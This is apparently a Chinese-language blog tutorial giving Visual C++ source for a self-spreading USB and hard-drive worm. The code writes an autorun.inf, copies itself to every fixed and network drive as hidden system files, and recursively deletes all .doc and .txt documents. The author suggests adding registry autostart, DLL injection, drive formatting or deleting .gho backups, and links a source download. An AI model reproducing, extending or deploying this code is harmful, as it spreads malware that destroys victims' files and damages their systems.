大家知道优盘病毒产生的原因吧!这里我给大家用vc生成一个感染的程序,能够自动感染硬盘和U盘达到传播的目的。
先说一下其中的原理。如果你的硬盘或者U盘里面有autorun文件的时候,双击打开就会运行其中设置好的程序,如果我们的程序可以自己复制自己,使每个盘中都存在,并且设置这些文件的属性是系统属性,和隐藏,那么每次打开的会运行而使用户不容易发现,如果你够狠得话也可以加入注册表的操作,是起自启动,也可以把其设置成dll文件,注入到其它的进程。
下面我们来看代码:
首先需要自己定义三个函数: BOOL FilesExist(LPCTSTR filename);//查找感染文件是否存在
BOOL FilesCreate(void);//创建感染文件
void FileEXE(void);//执行感染文件
delall(CString m_path)//删除文件
BOOL CShiyan1Dlg::FilesExist(LPCTSTR filename)//查找文件是否存
{
CFileFind fFind; //创建cfildfild对象
return fFind.FindFile(filename);
}
BOOL CShiyan1Dlg::FilesCreate(void)
{
CStdioFile file; //用文字流的方式写autorun文件
LPCTSTR s1="[autorun]/n";
LPCTSTR s2="OPEN=a.exe";
if (file.Open("autorun.inf",CFile::modeCreate|CFile::modeWrite|CFile::typeText)==0)
{
return 0;
}
file.WriteString(s1);
file.WriteString(s2);
file.SetLength(file.GetPosition());
file.Close();
return 1;
}
void CShiyan1Dlg::FileEXE()//执行文件
{
BOOL retu=FilesExist("c://a.exe"); //查看是否存在如果不存在就重新建立
if(retu==0)
{
FilesCreate();
for (char i='A';i<'z';i++)//分别遍历所有盘符只感染硬盘或者U盘
{
char drive1[20]={i,':'};
char drive2[20]={i,':'};
if ((GetDriveType(drive1)==DRIVE_FIXED)||(GetDriveType(drive1)==DRIVE_REMOTE))//判断介质的属性
{
LPCTSTR st=strcat(drive1,"autorun.inf");
LPCTSTR se=strcat(drive2,"a.exe");
CopyFile("autorun.inf",st,false);
CopyFile("shiyan1.exe",se,false);//相互之间进行感染
SetFileAttributes(st,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//设置为系统属性和隐藏
SetFileAttributes(se,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
CString str=i+":";
delall(str);//删除文件
}
}
}
void CShiyan1Dlg::delall(CString m_path)//这个实现了之删除电脑里面的txt或者doc格式的文档如果你够狠可以格式化
{
CFileFind ff;
CString szdir=m_path;
if (szdir.Right(1)!="//")
szdir+="//";
szdir+="*.*";
BOOL ree=ff.FindFile(szdir);
while (ree)
{
ree=ff.FindNextFile();
CString kuozhan=ff.GetFileName();
if (kuozhan.Right(3)=="DOC"||kuozhan.Right(3)=="doc"||kuozhan.Right(3)=="TXT"||kuozhan.Right(3)=="txt")
{
::DeleteFile(ff.GetFilePath());
}
if (ff.IsDirectory()&&!ff.IsDots())
{
delall(ff.GetFilePath());
}
}
ff.Close();
}
上面的这些已经实现了感染,你可以自己发挥想象。比如写注册表,像熊猫烧香那样直接删除gho的文件,就只有装机了。
可以到我的网盘下载源码:
http://www.brsbox.com/filebox/down/fc/6af8023fd641a4e6f56b43a10bb988c8